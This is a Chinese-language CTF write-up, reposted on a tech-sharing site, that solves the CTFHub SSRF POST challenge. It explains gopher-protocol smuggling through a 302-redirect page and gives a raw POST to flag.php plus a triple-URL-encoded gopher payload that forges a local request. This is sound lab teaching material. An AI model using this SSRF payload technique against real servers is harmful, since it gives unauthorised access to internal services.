ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

CTFHUB-SSRF-POST请求(小宇特详解)

2021-10-23 20:04:25  阅读:394  来源: 互联网

标签:协议 小宇特 SSRF CTFHUB 302 gopher Gopher POST php


CTFHUB-SSRF-POST请求

这里先说一下这里你需要知道的东西

而不是只会做题,不知道其所以然

这里我先说一下这里题里说的302跳转在这里发挥了什么作用

302跳转的302是http状态码

表示请求的网页自请求的网页移动到了新的位置,搜索引擎索引中保存原来的URL

这里可以通过访问302.php,并且传参gopher来伪造本地访问

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。随着HTTP协议的壮大,Gopher协议已经慢慢的淡出了我们的视线,但是Gopher协议很多组件都支持并且可以做很多事,在SSRF中,Gopher协议

可以对FTP、Telnet、Redis、Memcache、mysql进行攻击,也可以发送GET、POST 请求。

那么Gopher协议需要如何构造妮?

其实这个协议和http协议很类似,只不过gopher协议没有默认端口,需要特殊指定,而且需要指定POST方法,回车换行需要使用%0d%0a,而且POST参数之间的&分隔符也需要URL编码

我们来看看Gopher协议的基本协议格式

gopher://:/_后接TCP数据流

这里直接写伪造的gopher协议

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=d93819c4c1a18dc606dc5c6486f77227

这里通过gopher协议把key写入,并且直接访问flag.php

这里的步骤就是

1.先访问本地的127.0.0.1/flag.php,查看源代码,发现了只能本地访问,并且有key

这里在访问一下302.php

这里通过302.php的跳转来实现gopher协议伪造

这里我是url编码了3次,然后需要把%0A换成%0D%0A

payload

127.0.0.1/302.php?url=gopher://127.0.0.1:80/_POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253D0d2ed811e079dbd8e0bf85a0cb262d2e

标签:协议,小宇特,SSRF,CTFHUB,302,gopher,Gopher,POST,php
来源: https://blog.csdn.net/xhy18634297976/article/details/120925346

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有